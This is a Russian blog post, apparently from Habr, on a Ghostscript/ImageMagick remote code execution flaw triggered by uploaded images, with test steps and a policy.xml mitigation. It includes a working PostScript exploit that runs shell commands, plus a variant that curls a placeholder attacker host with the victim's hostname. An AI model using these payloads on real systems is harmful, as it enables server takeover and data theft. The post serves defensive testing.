Pull to refresh

Удалённое выполнение кода через загрузку картинок на вашем сервере или локальном компьютере в ghostscript/imagick

Reading time2 min
Views9.8K
Кратко: если у вас на сайте есть загрузка изображений и вы обрабатываете их при помощи популярной библиотеки ImageMagick, то загрузив картинку можно выполнить shell-команду с правами юзера веб-сервера (например: загрузить RAT, майнер, слить исходники, получить доступ к базе, вызвать отказ и т.п.)

Странно, что мимо хабросообщества прошла стороной новость (оригинал) о новых дырах в библиотеке GhostScript и как следствие множестве других библиотек, использующих её под капотом. Итак, что мы имеем?

Как проверить, что ваш сервер уязвим?

Берём и загружаем тестовый .ps файл на сервер вместо картинки. Пример файла ниже не сильно вредит — лишь делает 5-секундную задержку. Если сервер отвечает дольше 5 секунд, то у вас проблема: или ваш сервис уязвим или он оооочень медленно работает =)

%!PS
% This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654).

userdict /setpagedevice undef
a4

currentpagedevice /HWResolution get 0 (foobar) put
{ grestore } stopped clear

% make sure we have a device with OutputFile
(ppmraw) selectdevice

mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops

{ showpage } stopped pop
quit

Ключевая команда: sleep 5

Альтернативной командой может быть

mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops

или что-то гораздо менее безобидное.

Векторов эксплуатации множество. Кроме загрузки в обработчик картинок можно просто прислать ссылку на .ps файл жертве и так как в большинстве ОС при сохранении его на компьютер создаётся превью, это также вызывает эксплуатацию (проверено лично на Linux десктопе). На момент написания ни один антивирус не детектил тестовые .ps файлы как опасные.

Что делать?

К сожалению, не смотря на публикацию информации об уязвимости и исправление ошибки, в обновлениях дистрибутивов может не быть исправленной версии.

На серверах можно сделать предварительную проверку типа изображения сторонней библиотекой, фильтрацию через policymap файл ImageMagick/policy.xml и не обрабатывать уязвимые типы файлов. Также SELinux должен закрыть часть векторов атак, например запись в нестандартные папки.

UPD: в комментариях пишут что уязвимость всё ещё не исправлена в библиотеке!

UPD2: фикс для фикс для imagemagick для запрещения использования PostScript и PDF файлов от elvenpath: в файле /etc/ImageMagick-6/policy.xml или /etc/ImageMagick-7/policy.xml в зависимости от версии ImageMagick нужно написать:
<policymap>
 <policy domain="coder" rights="none" pattern="{EPS,PS2,PS3,PS,PDF,XPS}" />
</policymap>
Only registered users can participate in poll. Log in, please.
А ты проверил свой сервер?
33.33% У меня неуязвимый сервер39
5.13% У меня была уязвимость, но теперь её нет6
61.54% У меня и проверять то нечего72
117 users voted. 72 users abstained.
Tags:
Hubs:
+26
Comments5

Articles

Change theme settings